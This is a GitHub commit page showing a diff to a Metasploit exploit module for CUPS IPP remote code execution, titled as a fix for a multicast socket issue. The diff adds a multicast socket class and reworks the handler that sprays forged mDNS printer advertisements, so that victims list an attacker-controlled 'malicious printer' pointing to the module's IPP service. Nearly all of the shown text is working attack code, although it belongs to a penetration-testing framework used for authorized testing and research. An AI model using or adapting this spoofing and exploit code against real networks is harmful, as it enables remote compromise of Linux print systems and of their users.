Skip to content

Commit

Permalink
Fix a multicast socket issue
Browse files Browse the repository at this point in the history
  • Loading branch information
smcintyre-r7 committed Nov 21, 2024
1 parent 24d3ef1 commit 0ec9b1b
Showing 1 changed file with 102 additions and 92 deletions.
194 changes: 102 additions & 92 deletions modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,8 @@ class MetasploitModule < Msf::Exploit::Remote
# Accessor for IPP HTTP service
attr_accessor :service2

MULTICAST_ADDR = '224.0.0.251'

# Define IPP constants
module TagEnum
UNSUPPORTED_VALUE = 0x10
Expand Down Expand Up @@ -77,6 +79,21 @@ module SectionEnum
UNSUPPORTED = 0x05
end

class MulticastComm < Rex::Socket::Comm::Local
# hax by spencer to set the socket options for handling multicast using the native APIs (as opposed to Rex::Socket)
# without this in place, the module won't work on a system with multiple network interfaces
def self.create_by_type(param, type, proto = 0)
socket = super
socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_MULTICAST_TTL, 255)

membership = IPAddr.new(MULTICAST_ADDR).hton + IPAddr.new('0.0.0.0').hton
socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, membership)
socket
end

end

def initialize(info = {})
super(
update_info(
Expand Down Expand Up @@ -172,7 +189,7 @@ def validate
super

if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.'})
raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' })
end

# Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured
Expand Down Expand Up @@ -202,7 +219,7 @@ def start_mdns_service
5353,
false,
nil,
Rex::Socket::Comm::Local,
MulticastComm,
{ 'Msf' => framework, 'MsfExploit' => self }
)

Expand All @@ -213,7 +230,7 @@ def start_mdns_service
on_send_mdns_response(cli, data)
end
rescue ::Errno::EACCES => e
raise Rex::BindFailed.new(e.message)
raise Rex::BindFailed, e.message
end

def create_ipp_response(version_major, version_minor, request_id)
Expand Down Expand Up @@ -401,7 +418,7 @@ def start_ipp_service
rescue StandardError => e
vprint_error('An error occurred while processing an IPP request')
vprint_error("IPP Error is #{e.class} - #{e.message}")
vprint_error("#{e.backtrace.join("\n")}")
vprint_error(e.backtrace.join("\n").to_s)
raise e
end,
'Path' => '/ipp/print')
Expand Down Expand Up @@ -479,101 +496,94 @@ def on_dispatch_mdns_request(cli, data)
# However, that requires the victim to search for new printers, which doesn't happen on most systems during a print dialog (it requires Settings->Printers->"Add Printer" on Ubuntu)
# Also, different distributions seem to have different flows for that, which made the approach unreliable
# So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim's printer list with our malicious printer
req.question.each do |_question|
# PTR record
req.add_answer(Dnsruby::RR.create(
name: '_ipp._tcp.local.',
type: 'PTR',
# Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation
# Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue
ttl: 30,
domainname: "#{ipp_printer_name}."
))
# A record for our printer
# All of these answers seem to need to be additional record answers, not just answers
req.add_additional(Dnsruby::RR.create(
name: "#{printer_name_no_space}.local.",
type: 'A',
ttl: 30,
# The IP address of our malicious HTTP IPP service
address: datastore['SRVHOST']
))

# SRV record
req.add_additional(Dnsruby::RR.create(
name: "#{ipp_printer_name}.",
type: 'SRV',
ttl: 30,
priority: 0,
weight: 0,
# The port of our malicious HTTP IPP service
port: datastore['SRVPORT'],
target: "#{printer_name_no_space}.local."
))

# TXT record
req.add_additional(Dnsruby::RR.create(
name: "#{ipp_printer_name}.",
type: 'TXT',
ttl: 30
).tap do |rr|
rr.strings = [
'txtvers=1',
'qtotal=1',
'rp=ipp/print',
"ty=#{printer_name}",
'pdl=application/postscript,application/pdf',
# The "adminurl" value may or may not be queried, depending on the victim type
# Points to our malicious HTTP IPP service
"adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}",
'priority=0',
'color=T',
'duplex=T',
# Unique UUID to avoid printer collision from multiple runs with the same configuration
"UUID=#{@printer_uuid}"
]
end)

# NSEC record, seems to be required, should be additional answer type
req.add_additional(Dnsruby::RR.create(
name: "#{ipp_printer_name}.",
type: 'NSEC',
ttl: 30,
next_domain: "#{ipp_printer_name}.",
types: 'AAAA'
))

# Indicate our mDNS message is a query response
req.header.qr = 1
# In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one
# https://datatracker.ietf.org/doc/html/rfc6762
req.header.aa = 1

# Clear questions and update counts for our response
req.question.clear
req.update_counts

# Encode and send response
response_data = Packet.generate_response(req).encode

service.send_response(cli, response_data)

# Avoid responding a bunch of times for each query
break

end
return unless req.question.first

# PTR record
req.add_answer(Dnsruby::RR.create(
name: '_ipp._tcp.local.',
type: 'PTR',
# Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation
# Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue
ttl: 30,
domainname: "#{ipp_printer_name}."
))
# A record for our printer
# All of these answers seem to need to be additional record answers, not just answers
req.add_additional(Dnsruby::RR.create(
name: "#{printer_name_no_space}.local.",
type: 'A',
ttl: 30,
# The IP address of our malicious HTTP IPP service
address: datastore['SRVHOST']
))

# SRV record
req.add_additional(Dnsruby::RR.create(
name: "#{ipp_printer_name}.",
type: 'SRV',
ttl: 30,
priority: 0,
weight: 0,
# The port of our malicious HTTP IPP service
port: datastore['SRVPORT'],
target: "#{printer_name_no_space}.local."
))

# TXT record
req.add_additional(Dnsruby::RR.create(
name: "#{ipp_printer_name}.",
type: 'TXT',
ttl: 30
).tap do |rr|
rr.strings = [
'txtvers=1',
'qtotal=1',
'rp=ipp/print',
"ty=#{printer_name}",
'pdl=application/postscript,application/pdf',
# The "adminurl" value may or may not be queried, depending on the victim type
# Points to our malicious HTTP IPP service
"adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}",
'priority=0',
'color=T',
'duplex=T',
# Unique UUID to avoid printer collision from multiple runs with the same configuration
"UUID=#{@printer_uuid}"
]
end)

# NSEC record, seems to be required, should be additional answer type
req.add_additional(Dnsruby::RR.create(
name: "#{ipp_printer_name}.",
type: 'NSEC',
ttl: 30,
next_domain: "#{ipp_printer_name}.",
types: 'AAAA'
))

# Indicate our mDNS message is a query response
req.header.qr = 1
# In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one
# https://datatracker.ietf.org/doc/html/rfc6762
req.header.aa = 1

# Clear questions and update counts for our response
req.question.clear
req.update_counts

# Encode and send response
response_data = Packet.generate_response(req).encode

service.send_response(cli, response_data)
end

#
# Creates Proc to handle outbound responses
#
def on_send_mdns_response(cli, data)
# This peerhost reassign is really clunky, but I struggled to get Metasploit to associate an existing request from a client with a multicast response addr any other way
# Unfortunately, I believe multicast traffic can't be tunnelled through Meterpreter agents, so this exploit will not work over pivots

# Log to console in VERBOSE mode, then write response
vprint_status("Sending response via #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}")
cli.sendto(data, '224.0.0.251', cli.peerport)
vprint_status("Sending response to #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}")
cli.write(data)
end

def cleanup
Expand Down

0 comments on commit 0ec9b1b

Please sign in to comment.